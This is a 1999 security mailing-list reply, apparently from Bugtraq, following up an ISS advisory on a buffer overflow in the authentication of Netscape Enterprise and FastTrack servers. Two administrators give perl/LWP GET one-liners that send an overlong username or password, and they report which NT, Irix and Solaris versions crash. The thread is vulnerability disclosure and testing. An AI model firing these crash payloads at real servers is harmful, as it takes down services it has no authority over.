Re: ISS Security Advisory: Buffer Overflow in Netscape Enterprise and FastTrack Authentication Procedure

[bsides () TOWERY COM (Brock Sides)]

Some more data. Using LWP's "GET" as follows:

$ GET -C `perl -e 'print "A"x1025'`:password http://hostname:port

Netscape FastTrack 3.0.1 on NT: crashes
Admin Server 3.5 on NT: crashes
Netscape FastTrack 3.0.2 on Irix 6.x: no problem
Admin Sever 3.5 on Irix 6.x: no problem
Netscape Enterprise 3.6sp2 on Irix 6.x: no problem

--
Brock Sides
Unix Systems Administration
Towery Publishing
bsides () towery com

On Thu, 2 Dec 1999, Doug Monroe wrote:

> RE:
> > ISS Security Advisory
> > December 1, 1999
> > Buffer Overflow in Netscape Enterprise and FastTrack Authentication
>                > Procedure
>
> I made a few simple pokes with variants of perl LWP's 'GET' function at
> areas of 2 NES 3.x servers that are protected with Basic Authentication.
> For example-
> $ GET -C username:`perl -e 'print "A"x1025'` http://server/private-path
> $ GET -C `perl -e 'print "A"x1025'`:password http://server/private-path
>
> Solaris 2.6/NES 3.5.1 (and 3.6.3)-
>  username:LONGpw -> http://server/private-path - NO KILL
>  LONGusername:pw -> http://server/private-path - NO KILL
>
> NT4/SP4/NES 3.6.2-
>  username:LONGpw -> http://server/private-path - NO KILL
>  LONGusername:pw -> http://server/private-path - KILL
>
> Potentially important diffs/notes:
> On the Solaris box, the private area was config'd with .nsconfig/NCSA-style
> ACL.
> On the NT, the private area was protected using local-db ACL, not NCSA-style.
> I have not tried poking a local-db/LDIF protected area on Solaris.
> I have not tried poking a .nsconfig/NCSA-style area on NT.
> I have not tried poking at the admin server of either box.
> --
> Doug Monroe
> www.interhack.net